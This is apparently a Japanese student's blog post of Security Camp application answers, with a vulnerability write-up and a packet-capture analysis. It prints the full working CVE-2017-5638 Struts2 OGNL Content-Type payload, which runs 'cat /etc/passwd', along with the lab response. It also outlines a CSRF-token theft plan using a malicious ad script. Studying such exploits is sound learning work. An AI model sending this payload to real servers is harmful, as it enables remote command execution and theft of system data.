3つ目は、セキュリティキャンプに参加する同じ志を持った仲間たちに「負けられない」という気持ちを持って成長することです。たくさんのレベルの高い人たちが来ると思うのですが、「セキュリティ」という業界に進む以上、その人たちにも追いついていかなければなりません。このキャンプを通して、技術的にも成長してその人たちに少しでも近づいていきたいです。
約1年前にセキュリティキャンプを知り、行きたいと思いました。その時はほぼ全てのことが未経験でしたが理系のプログラミング授業に潜り込んだり、イベントやエンジニアインターンに未経験ながら参加してきました。まだまだ実力不足ですが1年前と今では見えてくるものが全然違うように思えます。この全くの未経験からの1年間は学ぶことが多く、とても楽しかったです。 私は文系に所属していますが「セキュリティエンジニア」を目指しています。友達や親にこのことを話すと「文系でもなれるの?」と言われることが多いです。文系は関係なく、どの状況においても努力すれば夢が叶っていくということをまずセキュリティキャンプに参加することで伝えていきたいです。
また、まだ参加が確定していなく傲慢ではありますが、この1年間がセキュリティキャンプに参加したいと思って修行してきたように、セキュリティキャンプも今後さらにすごいセキュリティエンジニアなるための通過点の一つだと思っています。参加できた場合は、それをゴールにするのではなく、今後自分を高める糧にしていきたいです。
選択問題
自分がソフトウェア・ハードウェアを実装した部分について、自分とは意見が異なる実装を提案してきた人が現れた場合、あなたはどうしますか。 - 自分の実装のほうが優れていると思った場合どうしますか? - 自分の実装のほうが優れていないと思った場合どうしますか? - 相手の母国語が自分と違うために正確に議論が進まない場合はどうしますか? - 相手がものすごく強硬で石頭でこちらのいうことを何も聞かず実装を勝手に修正してしまった場合どうしますか?
自分の実装のほうが優れていると思った場合どうしますか?
自分の実装のほうが優れているというのは、個人的に思っているだけだと思うので周りの人にも自分の提案を話します。皆意見を判断し、自分の実装が優れていると判断した時は、相手の提案と自分の提案のメリットとデメリットを比較し、それを相手に納得するように伝えます 相手も納得し自分の提案が採用された場合は、相手の提案のいいところを自分の実装に応用できる場合、自分の提案にも取り入れていきます。
自分の実装のほうが優れていないと思った場合どうしますか?
もし相手の提案を聞いて自分の提案のほうがすぐれていないと判断した時は、相手の提案を採用していきたいと思います。しかし、自分の提案で取り入れることができるところを提案したり、相手の提案をよりよい実装にするために意見を出します
私は、自分の考えを持ち、はっきりと伝えます。「相手が年上だから伝えない」、「自分の立場が~だから伝えない」ということは一切しません。相手の考えていることに間違いがあったり、違う意見のほうが優れていると思ったら伝えないことはないです。自分の意見が優れていると思ったら相手に納得してもらうように伝え、相手の意見が優れていると思った場合は、その意見をもっと良くなるようにいろいろと提案します。私はより良い方向へと進んでいきます。
相手の母国語が自分と違うために正確に議論が進まない場合はどうしますか?
相手の母国語が自分と違うために正確に議論が進まない場合は、いくつか方法があると思います。実際に実装してみてコードを見る
自分が提案した実装を一度コードに書き起こしてみてみます。 同じプログラミング言語を理解しているのならそのコードを見て相手がどのような実装を提案していたのかがわかるのではないでしょうか。英語の使用、図を描いてみる
コードに書き起こしたとしても、どちらの提案が優れているか、どちらを採用するかを議論しなければなりません。そのためお互いの母国語に頼らず、英語など広く使われている言語で議論を進めていきます。また、英語などが完璧でない場合は、図を描く、ジェスチャーで伝えるなどお互いが共通で理解できるところを探していきます。 また、一人で相手を理解するのは難しいと思うので他の人にもお互いが何を伝えたがっているのかを感じ取ってもらうなどの協力を頼みます。 - 相手がものすごく強硬で石頭でこちらのいうことを何も聞かず実装を勝手に修正してしまった場合どうしますか? この場合私は勝手に修正した相手に2つのことを伝えます。 開発は仲間とやっているということ 提案がとても良いならば周りにいる人の多くは賛成してくれると思います。しかしなにも言わずに修正してしまえば、信頼をなくしてしまい、その実装を採用されたとしても仲間を失ってしまいます。 一人の勝手な修正によってバグが発生した時、実装を聞いていない仲間は対応しにくいです。一人の行動によって開発の効率を下げ、開発の仲間に迷惑をかけることになります。 このように一人の勝手な行動は仲間に迷惑がかかるということです。成長が止まってしまうこと
開発での技術的成長はお互いにレビューしあうことでできると思っています。 自分だけの考えを押し通してばかりでは成長しません。自分が気づけないことを他人が指摘してくれるからこそ成長できます。自分の提案がほかの人の誰よりも良いと思っても、その提案をさらに良いものに変えるチャンスを失っていると思います。
上記のことを伝えた後、自分の行動を考えてもらいます。
Same Origin Policyに関する脆弱性から自分がもっとも気になっているものを選び、その脆弱性がどのようなものかを説明してください。 次に、あなたがもし悪意を持つ側だとしたら、その脆弱性をどのように悪用(活用)するかを想像して書いてください。
私がSame Origin Policyに関する脆弱性の中で最も気になったのは、「CVE-2015-1840」です。なぜこの脆弱性が気になったのかというと、Ruby on Railsをよく使用しているのですが、この脆弱性もRuby on Railsに関するものだったからです。
脆弱性の説明
この脆弱性はRuby on Rails で使用されるjquery-railsのjquery_ujs.jsとjquery-ujsのrails.jsに存在します。
脆弱性対策情報データベースによると、
「第三者により、属性値内の URL の先頭の空白文字を介して、同一生成元ポリシーを回避される、および異なるドメインの Web サーバに対する CSRF トークンの送信を誘発される可能性があります。」と書かれています。
ここからわかりやすく説明していきたいと思います。まず「属性値内のURLの先頭の空白文字を介して、同一生成元ポリシーを回避される」という部分です。これはURLを指定している先頭部分に空白文字が入っていた場合に回避されてしまうということです。
<%= link_to " http://www.hoge.com", method: :post%>
こちらは先頭に空白が入っているためこのリンクを踏むとPOSTで送信されてしまいます。
<%= link_to "http://www.hoge.com", method: :post%>
こちらは先頭に空白が入っていないため送信されません。
次に「異なるドメインのWebサーバに対するCSRFトークンの送信」 まず、ここに書かれてあるCSRFトークンとはなにか。 CSRFを防ぐために本物のユーザーかどうかを判断するために使用する毎回異なる値のことです。 ユーザーが画面に必要情報を入力し、送信をするとトークンも一緒に Webアプリケーションに送信されます。 この送信されたトークンとセッションに保存しておいたトークンが一致すれば、正しいユーザーからのリクエストだと判断します。 よってこのCSRFトークンを第三者が入手すればなりすましが可能だということです。 そのCSRFトークンを今回の脆弱性によって異なるドメインのWebサーバに送信できます。
まとめ
<%= link_to " http://www.hoge.com", method: :post%>
↑のようなURLの先頭部分に空白を入れると同一成元ポリシーを回避し、異なるドメインのWebサーバー対してCSRFトークンを送信できるということです。
悪意を持つ側だったら
もし私が悪意を持つ側だった場合、まずRuby on Railsで開発しているかつ広告を載せているサービスを調べます。
見つかった場合広告を載せてほしいと装い、こちらから広告用のコードを渡します。
例 <script type="text/javascript" src="http://hoge.jp/fuga/12345.js"></script>
javascript側でCSRFトークンを送りたいWebサーバーを" http://www.hoge.com“のように記述し同一成元ポリシーを回避します。 そしてユーザーが広告をクリックした時自分のWebサーバにCSRFトークンを送れるように処理させます。
添付ファイルに記録された通信を検知しました。この通信が意図するものは何か、攻撃であると判断する場合は何の脆弱性を狙っているか。また、通信フローに欠けている箇所があるがどのような内容が想定されるか、考えられるだけ全て回答してください。なお、通信内容を検証した結果があれば評価に加えます
添付されたファイルをwiresharkというツール使って解析をしました。Wiresharkを用いてファイルを開いたところ、No14までのキャプチャされた通信が記録されていました。
通信の意図、脆弱性について
通信を一通り目を通すと、No4の通信では、一つだけHTTPを使用していました。Infoには「GET /struts2-rest-showcase/orders.xhtml HTTP/1.1」と記録されており、その中の「struts2」に着目しました。少し前に「struts2」の脆弱性が報道されたのを思い出し、脆弱性を突いたのはこの通信かもしれないと思い、詳しく見ることにしました。HTTP通信のリクエストの中のContent-Typeの中になにか怪しい文字列が書かれていました。
このContent-Typeに書かれていた文字列はOGNLというJAVAのオブジェクトを操作できる簡易言語であることがわかりました。これを手がかりに「struts2」の脆弱性につい調べてみるとContent-Typeに不正なコード(OGNL式)を入れると実行されてしまう「CVE-2017-5638」という脆弱性が存在することが分かりました。文字列の一部に(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
という部分にいくつかのコマンドが書かれています。これを実行されてしまったと思いました。
真偽を確かめるべく、実際に検証してみることにしました。 今回の脆弱性のあるバージョンである2.3.20で環境構築しました。
GET /struts2-rest-showcase/orders.xhtml HTTP/1.1 Host: localhost:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch, br Accept-Language: ja,en-US;q=0.8,en;q=0.6 Connection: close Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-TypeにOGNL式をいれてこのようなリクエストを送信すると
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Date: Fri, 26 May 2017 14:43:19 GMT Connection: close Content-Length: 5925 ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## 以下省略
上記のようなレスポンスが返ってきました
この内容はcat /etc/passwdを実行した時と同じものでした。つまりContent-TypeのOGNL式の(#cmd='cat /etc/passwd')
が実行されていたということです。
気になった点が2つあります。1つ目は、Content-Typeの中のSystem@getProperty('os.name')
と(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
です。
推測ですが、OSの名前を取得して、どのOSでも実行できるようにしたのではないでしょうか。次にhttpリクエストの後に22番ポートへ通信を試みていることです。つまり「cat etc/passwd」を実行した後に、その情報を用いてsshを試みたのではないでしょうか。
まとめ
この通信は「CVE-2017-5638」を突き、「cat /etc/passwd」を実行した後、その情報を用いて通信先にsshを試みるものであったと思われます。
通信フローにかけている箇所 No4で送信したリクエストのあとNo5でリクエストを受け取った通信は見られるが、ステータスコード200を返す通信が見られない
No9で192.168.74.1から192.168.74.130に対して[FIN, ACK]という通信修了の合図を送信した後に、192.168.74.130から[ACK]の応答が見られない事 これは、No9のinfoである[TCP Previous segment not captured]から判断しました。
おわりに
セキュリティキャンプを知ったのは去年の6月ぐらいだった気がします。 ほぼ未経験でしたが、がんばってきてよかったです!
参加者の中ではたぶん経済学部は1人だけだと思うから埋もれないようにしたいな笑
では!